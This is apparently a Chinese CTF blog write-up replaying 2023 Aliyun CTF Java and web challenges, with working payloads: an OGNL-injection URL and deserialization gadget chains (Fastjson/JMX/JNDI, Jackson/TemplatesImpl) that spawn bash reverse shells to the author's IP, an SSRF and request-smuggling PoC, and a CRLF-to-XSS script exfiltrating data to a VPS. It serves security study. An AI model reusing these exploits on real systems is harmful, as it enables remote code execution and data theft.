2023 Aliyun CTF 复现
Drunkbaby Lv6

2023 Aliyun CTF 复现

题目环境已更新至 CTF Repo 当中 —— https://github.com/Drun1baby/CTF-Repo-2023

2023 Aliyun CTF 复现

  • 先从 Java 题目看起吧

the path to shell

这个题目其实一眼就是 OGNL 表达式注入了,注入点是 url 直接注。

虽然说知道是 OGNL 表达式注入相关的漏洞,但是并不完全知晓应该如何攻击比较好,因为从 web.xml 来看,对应的 servlet 路径是 /action,需要调用 /action 路径才能攻击。

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<filter>
<filter-name>IPCheckFilter</filter-name>
<filter-class>org.ctf.filter.IPCheckFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>IPCheckFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<servlet>
<servlet-name>Action</servlet-name>
<servlet-class>org.ctf.servlet.ActionServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Action</servlet-name>
<url-pattern>/action/*</url-pattern>
</servlet-mapping>

</web-app>

如果直接访问是不行的,回显 404

这其实是因为在 backend 这个 war 包中,存在 Filter 全局过滤这个 war 包的所有服务,过滤的方式是检查 IP 是否为本地,比赛的时候绕了很久都绕不过去。所以我们无法直接访问到 /action 接口。

官方这里的 WP 很有意思,是用可控的参数进行过滤器的 bypass 的,其实自己也不是第一次看到这些东西了,但是并没有花时间去分析它,感觉很。。。无论如何关于这一块的 Spring 目录穿越的 bypass 分析也要提上日程了。包括在 Struts2 下的 ; 以及 .do.action 的分析

根据官方的思路,通过 /app 界面下的输入参数 name 可控,先进行目录穿越的探测。不过这里需要注意的是,常规的 /app/user/../../../action 一定是不对的,具体原因我们需要看 UserController 的代码处理

Feign Client 在处理请求路径参数时,Feign 默认会做 URL 编码,绝大部分特殊字符会被编码,也就不能 ../ 的方式往上跳。但如果是 %2F 它会再替换成 /,所以 %2F..%2F..%2F..%2F 就能跳了。同时这里因为设置了必要的 URL 后缀是 http://127.0.0.1:8080/backend/,我们在通过路径穿越访问 /action 接口时,需要加上 /backend/action

payload 如下

1
http://120.55.13.151:8080/app/user/..%252F..%252F..%252Fbackend%252Faction

成功访问 /action 接口

在成功访问 /action 接口之后,剩下的攻击就可以直接构造 payload 打了。由于 ActionServlet 中对内容也进行了一次 URL 解码,所以这里的 payload 需要进行二次 URL 编码。

  • 构造 payload
1
((new javax.script.ScriptEngineManager()).getEngineByName('js')).eval('java.lang.Runtime.getRuntime().exec("cat flag")')

可能是无回显的,尝试弹个 shell

1
((new javax.script.ScriptEngineManager()).getEngineByName('js')).eval('java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjIxLjEzOC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}")')
1
http://120.55.13.151:8080/app/user/..%252F..%252F..%252Fbackend%252Faction%252F%2528%2528new%2520javax%252Escript%252EScriptEngineManager%2528%2529%2529%252EgetEngineByName%2528%2527js%2527%2529%2529%252Eeval%2528%2527java%252Elang%252ERuntime%252EgetRuntime%2528%2529%252Eexec%2528%2522bash%2520%252Dc%2520%257Becho%252CYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xMjQuMjIyLjIxLjEzOC8yMzMzIDA%252BJjE%253D%257D%257C%257Bbase64%252C%252Dd%257D%257C%257Bbash%252C%252Di%257D%2522%2529%2527%2529

成功弹 shell

弹 shell 之后并不能直接读取 cat flag,需要运行 ./readflag 命令才可以。

ezbean

  • 这一道题目看了 WP,对于我自己收获还是很大的。

首先是把二次反序列化的学习提上日程了,之前一直只是浮于了解,并没有进行实战,这一次正好提供了一个很好的机会(说来也是有趣,这比赛当天是和 HDCTF 一起打的,两道题目都是传参 POST data,都是 Fastjson,最后的 WP 都说是二次反序列化,我还是太菜了)

先看依赖,此处存在低版本 Fastjson,可以打。

然后再看过滤的类,过滤了很多,但是并没有过滤 fastjson 这个类。

这道题目拿到,一定是先去看 MyBean 的代码,MyBean 代码这里有个 getConnect() 方法,getConnect() 方法这里触发了 this.conn.connect();,可以触发一个 JMXConnector 的攻击,当然这里本质还是 RMI

但是我们这里并没有触发 MyBean#getConnect 的方式,联想一下前面的 Fastjson,不难想到这是 Fastjson 去调用 MyBean,然后再打 JMXConnector

  • 链尾已经有了,那么入口呢?入口既然是一个 base64 解码之后的反序列化,那么怎么可能都不会是直接 fastjson 语句打,所以这里一定是通过其他东西来触发 Fastjson,可以是二次反序列化,也可以是其他的东西。

联想到之前 Fastjson 爆出来的 1.2.80 的洞,是通过抛出异常来触发的,感觉这里一切就都能说得通了。如此一来,链子的构思就完成了,剩下就需要我们写 EXP(我比赛的时候完全写不出来,首先是不熟悉 Fastjson 1.2.80 的洞应该怎么打,其次就是 JMXConnector 不会打)

先整理一下链子

1
BadAttributeValueExpException.toString -> FastJSON -> MyBean.getConnect -> RMIConnector.connect -> JNDI

编写 EXP,通过 BadAttributeValueExpException 触发 Fastjson 的反序列化,然后将 JMXConnector 的 evil content 通过反射放到 MyBean 里面,最终的 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.ctf.ezser;  

import com.alibaba.fastjson.JSONObject;
import com.ctf.ezser.bean.MyBean;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class EXP {
public static void main(String[] args) throws Exception{
JMXServiceURL jmxServiceURL = new JMXServiceURL
("service:jmx:rmi:///jndi/ldap://124.222.21.138:1389/a");
setFieldValue(jmxServiceURL, "protocol", "rmi");
setFieldValue(jmxServiceURL, "port", 0);
setFieldValue(jmxServiceURL, "host","");
setFieldValue(jmxServiceURL,"urlPath","/jndi/ldap://124.222.21.138:1389/TomcatBypass/Command/" +
"Base64/YmFzaCAtaSA%2bJi9kZXYvdGNwLzEyNC4yMjIuMjEuMTM4LzIzMzMgMD4mMQ==");
JMXConnector jmxConnector = new RMIConnector(jmxServiceURL,null);
// jmxConnector.connect();
MyBean myBean = new MyBean();
setFieldValue(myBean,"conn",jmxConnector);
JSONObject jsonObject = new JSONObject();
jsonObject.put("jb", myBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException, "val", jsonObject);
serialize(badAttributeValueExpException);
}
public static void serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

Bypassit I

先看路由

让我们直接用 curl 传输 .ser 文件去打,接着看依赖,依赖中有个 jackson,jackson 和 fastjson 用起来差不多,所以这里的链子思路应该是:

1
BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl

由此构造 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package com.ctf.bypassit;  

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class EXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Drunkbaby");
byte[] code = getTemplatesImpl("new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMjQuMjIyLjIxLjEzOC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}\"}");
byte[][] bytecodes = {code};
setFieldValue(templates, "_bytecodes", bytecodes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode a = new POJONode(templates);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
nodeC = Class.forName("java.util.HashMap$Node");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
XString xString = new XString("xx");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", a);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", a);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
serialize(s);
}

public static void setFieldValue(Object object, java.lang.String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(java.lang.String.valueOf(Filename)));
Object obj = ois.readObject();
return obj;
}

public static byte[] getTemplatesImpl(java.lang.String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
}

遗憾的是这些 Java 题目似乎环境都已经关闭了

Door gap (门缝)

直接访问 http://118.178.238.83:8000/ 可以看到源码,得到以下信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/bin/env python  
import json
import math
from ipaddress import ip_network, ip_address
import io
import traceback
import requests
import http.client
from urllib.parse import urlparse
from flask import Flask
from flask import request
from werkzeug.middleware.proxy_fix import ProxyFix
from werkzeug.exceptions import NotFound
import socket 
import cachetools


app = Flask(__name__)
TODO: need to publish this service via api gateway at http://172.18.19.3:8000/admin/
app.wsgi_app = ProxyFix(
    app.wsgi_app, x_for=1, x_proto=1, x_host=1, x_prefix=1
)
# app.logger.setLevel(logging.INFO)

private_networks = [
    ip_network("10.0.0.0/8"),
    ip_network("172.16.0.0/12"),
    ip_network("192.168.0.0/16"),
    ip_network("127.0.0.0/8"),
    ip_network("100.100.100.200/32"),
    ip_network("0.0.0.0/32"),
    ip_network("::1/128"),
    ip_network("::/128")
]

OriginalResponse = http.client.HTTPResponse


class CustomHttpResponse(OriginalResponse):
    def __init__(self, sock, debuglevel=0, method=None, url=None):
        super().__init__(sock, debuglevel, method, url)
        self.raw_resp = b''

        try:
            while True:
                _data = sock.recv(1024 * 4)
                if len(_data) == 0:
                    break
                self.raw_resp += _data
                sock.settimeout(0.5)
        except:
            pass
        sock.close()

        self.fp = io.BytesIO(self.raw_resp)


http.client.HTTPConnection.response_class = CustomHttpResponse


host_cache = cachetools.TTLCache(maxsize=math.inf, ttl=300)


def custom_gethostbyname(hostname):
    try:
        return host_cache[hostname]
    except KeyError:
        address = socket.gethostbyname(hostname)
        host_cache[hostname] = address
        return address


original_getaddrinfo = socket.getaddrinfo


def new_getaddrinfo(*args):
    host = args[0]
    try:
        ip_address(args[0])
        return original_getaddrinfo(*args)
    except ValueError:
        new_args = list(args)
        new_args[0] = custom_gethostbyname(host)
        return original_getaddrinfo(*new_args)


socket.getaddrinfo = new_getaddrinfo


def get_file(path):
    fp = open(path)
    ret = fp.read()
    fp.close()
    return ret


@app.route('/proxy', methods=["GET""POST"])
def proxy():
    # Check source addr, this is a private api
    if not ip_address(request.remote_addr).is_private:
        return "Forbidden."403
    if not request.data:
        return "parameter error"400
    params = json.loads(request.data)
    if "url" not in params:
        return "parameter error"400
    for key in ["files""proxies""hooks""cert"]:
        if key in params:
            del params[key]
    params["stream"] = True
    params["allow_redirects"] = False
    params["timeout"] = 10

    # Security department demand us to fix ssrf vulnerability even this api can not be accessed by public, fine. :)
    host = urlparse(params.get("url")).hostname
    try:
        ip = ip_address(host)
    except ValueError:
        ip = ip_address(custom_gethostbyname(host))
    if any([ip in nw for nw in private_networks]):
        return "Forbidden."403
    
    r = requests.get(**params)
    return r.raw._fp.raw_resp


@app.route("/")
def index():
    return get_file(__file__).replace(" "" ").replace("\n""
")


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8001, debug=False)
  • 有一个 proxy 接口可以发起HTTP请求但是限制了来源 IP ,以及有 SSRF 检查。
  • 根据响应头中的 Via: kong/2.8.3 可知代码部署在 Kong API 网关之后
  • 源码注释中有一个内网的地址 http://172.18.19.3:8000/admin/

这个题目是肉眼可见的 SSRF,所以第一步应该是绕过 XFF。由于 python wsgi 中不区分请求头中的 - 和_ ,所以可以用 X_Forwarded_For: 127.0.0.1 头来绕过 IP 限制。

Kong 转发的时候有两个 XFF 头,而且 X_F_F 在后面

1
2
X-Forwarded-For: a.a.a.a
X_Forwarded_For: 127.0.0.1

第二步绕过SSRF检查也有两个解法,一个是使用 IPv4-mapped IPv6 address 来绕过:http://[::FFFF:172.18.19.3]:8000/admin/,另一个是利用 urllib 中的 urlparse 和 requests (urllib3) 中的 urlparse 解析不一致来绕过: http://172.18.19.3:8000\@www.aliyun.com/../admin/

请求到 http://172.18.19.3:8000/admin/ 之后可以发现是 Kong API 网关的管理接口,通过访问 http://172.18.19.3:8000/admin/services 等管理接口可以收集到以下信息:

这里首先要用/api/login/..;/flag绕过鉴权,(login接口不需要登录,后端tomcat处理时会把/..;/当做/../,请求地址就变成了 /flag )。其次在请求头中加入Transfer-Encoding: chunked,使用请求走私,在GET请求中夹带一个POST请求获取到最终flag。最终PoC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /proxy HTTP/1.1
Host: 118.178.238.83:8000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 217
X-Forwarded_For: 127.0.0.1

{"url": "http://[::ffff:172.18.19.3]:8000/api/flag",
"headers": {"Transfer-Encoding": "chunked"},
"data": "0\r\n\r\nPOST /api/login..;/flag HTTP/1.1\r\nHost: 118.178.238.83:8000\r\nAccept: */*\r\nUser-Agent: testua\r\n\r\n"
}

obisidian

这个题目给的是一个二进制文件,其实后面发现这个二进制文件当中所能得到的信息非常少,所以其实也没什么用。

在经过黑盒探测之后其实可以基本确定这个一个 XSS/CSRF 这种类型的题目,并且可以在题目里面看到存在 CSP 头

通过测试可以发现 rouille 所使用的版本

1
tiny_http = { version = "0.12.0", default-features = false }

在设置 Header 时存在 CRLF 注入,因此可以通过 CRLF 注入绕过 CSP,这是 WP 写的,那如果让我来思考,我怎么自己发现这个 CRLF 注入呢?

早在自己在学习 CRLF 注入的时候就知道有 burpsuite 自带的插件,我觉得从漏洞挖掘的效率来说这样子是最好的。

既然这里存在 CRLF 注入,我们可以直接打了,构造 payload

1
2
3
4
5
http://127.0.0.1:8000/note/123123
A:B

<script>alert(/xss/)</script>

构造是成功的

由此我们尝试去读 Set-Cookie,我觉得这里我应该是不太能构造出 payload,太菜了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re
import base64
REMOTE_ADDR = "<http://116.62.26.23:8000>"
from pow import do_brute

rs = requests.Session()
def expMaker(x):
exp = "<http://localhost:8000/note/>"
exp += "%0d%0aContent-Length:LENGTH%0d%0a%0d%0a"
exp += '<script>eval(atob("'
exp +=base64.b64encode(x.encode()).decode().replace("/","%2F").replace("+","%2B").replace("=","%3D")
exp += '"))<%2Fscript>'
exp = exp.replace("LENGTH",str(len(exp)-exp.index("LENGTH")+4))
return exp

exp = expMaker('''
fetch("/note/%0d%0aContent-Length:1120%0d%0a%0d%0aaaa").then(res "6
res.text()).then(data "6 {window.location.href=""%VPS/x/r4?data=" +
encodeURIComponent(data)}).catch(err "6 window.location.href=""%VPS/x/r4?data=" +
encodeURIComponent(err))
''')
print(exp)

# 拿cookie去访问/blog 看到admin发的⼀个note
def attack():
rs.post(REMOTE_ADDR + "/login", data={"username": "123", "password": "123"})
page = rs.get(REMOTE_ADDR + "/submit").text
regex1 = r'<label>([a-zA-Z0-9]{1,})\\s*\\+\\s*4 chars\\(a-zA-Z0-9\\) = ([a-zA-Z0-9]{32})"8label>'
# regex1 = r'<label>([a-zA-Z0-9]{1,})\\s*\\+\\s*5 chars = ([a-zA-Z0-9]{32})"8label>'
data = re.findall(regex1, page)[0]
print(data)
pow = do_brute(data[0],data[1])
print(pow)
resp = rs.post(REMOTE_ADDR + "/submit", data={"suffix": pow,"url":exp})
print(resp.status_code)
attack()

小结

感觉题目质量真的很高,给我的感觉是考的很深入,这才是安全研究啊(仰天

且本次出题都很贴近开发情况,比如

  • 如何从一个 CRLF 注入 ——> XSS
  • 如何利用一些很常见的差异构造攻击,像 Tomcat 解析问题
  • 如何在 SSRF 之后进行有效的信息收集

等等……

题目质量真的很高,还有一部分题目没有复现是因为我觉得我现在的水平单纯跟着 WP 去看没什么意义。

Ref

https://xz.aliyun.com/t/12485
Straw Hat WP

 评论